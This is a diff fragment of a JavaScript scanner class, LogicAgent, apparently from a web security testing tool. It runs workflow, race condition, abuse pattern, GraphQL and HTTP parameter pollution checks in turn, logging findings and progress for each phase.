this.progress('workflow', 'Testing workflow enforcement...', 45);
|
|
82
|
+
try {
|
|
83
|
+
const enforcer = new WorkflowEnforcer(logger);
|
|
84
|
+
const workflowFindings = await enforcer.enforce(businessContext, surfaceInventory);
|
|
85
|
+
this.addFindings(workflowFindings);
|
|
86
|
+
this._log(`Workflow: ${workflowFindings.length} issues`);
|
|
87
|
+
} catch (err) {
|
|
88
|
+
this._log(`Workflow testing failed: ${err.message}`, 'error');
|
|
89
|
+
}
|
|
90
|
+
this.progress('workflow', 'Workflow testing complete', 65);
|
|
91
|
+
|
|
92
|
+
// Phase 5: Race condition detection
|
|
93
|
+
this.progress('race', 'Testing for race conditions...', 65);
|
|
94
|
+
try {
|
|
95
|
+
const detector = new RaceConditionDetector(logger);
|
|
96
|
+
const raceFindings = await detector.detect(businessContext, surfaceInventory);
|
|
97
|
+
this.addFindings(raceFindings);
|
|
98
|
+
this._log(`Race conditions: ${raceFindings.length} issues`);
|
|
99
|
+
} catch (err) {
|
|
100
|
+
this._log(`Race condition testing failed: ${err.message}`, 'error');
|
|
101
|
+
}
|
|
102
|
+
this.progress('race', 'Race condition testing complete', 85);
|
|
103
|
+
|
|
104
|
+
// Phase 6: Abuse pattern scanning
|
|
105
|
+
this.progress('abuse', 'Scanning for abuse patterns...', 85);
|
|
106
|
+
try {
|
|
107
|
+
const scanner = new AbusePatternScanner(logger);
|
|
108
|
+
const abuseFindings = await scanner.scan(businessContext, surfaceInventory);
|
|
109
|
+
this.addFindings(abuseFindings);
|
|
110
|
+
this._log(`Abuse patterns: ${abuseFindings.length} issues`);
|
|
111
|
+
} catch (err) {
|
|
112
|
+
this._log(`Abuse pattern scanning failed: ${err.message}`, 'error');
|
|
113
|
+
}
|
|
114
|
+
this.progress('abuse', 'Abuse pattern scanning complete', 85);
|
|
115
|
+
|
|
116
|
+
// Phase 7: GraphQL Security Audit
|
|
117
|
+
this.progress('graphql', 'Auditing GraphQL endpoints...', 85);
|
|
118
|
+
try {
|
|
119
|
+
const gqlAuditor = new GraphQLAuditor(logger);
|
|
120
|
+
const gqlFindings = await gqlAuditor.audit(surfaceInventory);
|
|
121
|
+
this.addFindings(gqlFindings);
|
|
122
|
+
this._log(`GraphQL: ${gqlFindings.length} issues`);
|
|
123
|
+
} catch (err) {
|
|
124
|
+
this._log(`GraphQL audit failed: ${err.message}`, 'error');
|
|
125
|
+
}
|
|
126
|
+
this.progress('graphql', 'GraphQL audit complete', 92);
|
|
127
|
+
|
|
128
|
+
// Phase 8: HTTP Parameter Pollution
|
|
129
|
+
this.progress('hpp', 'Testing HTTP parameter pollution...', 92);
|
|
130
|
+
try {
|
|
131
|
+
const polluter = new ParameterPolluter(logger);
|
|
132
|
+
const hppFindings = await polluter.pollute(businessContext, surfaceInventory);
|
|
133
|
+
this.addFindings(hppFindings);
|
|
134
|
+
this._log(`Parameter pollution: ${hppFindings.length} issues`);
|
|
135
|
+
} catch (err) {
|
|
136
|
+
this._log(`Parameter pollution testing failed: ${err.message}`, 'error');
|
|
137
|
+
}
|
|
138
|
+
this.progress('hpp', 'Parameter pollution testing complete', 100);
|
|
139
|
+
|
|
140
|
+
this.progress('complete', `Logic scan complete — ${this._findings.length} total findings`, 100);
|
|
141
|
+
}
|
|
142
|
+
}
|
|
143
|
+
|
|
144
|
+
export default LogicAgent;
|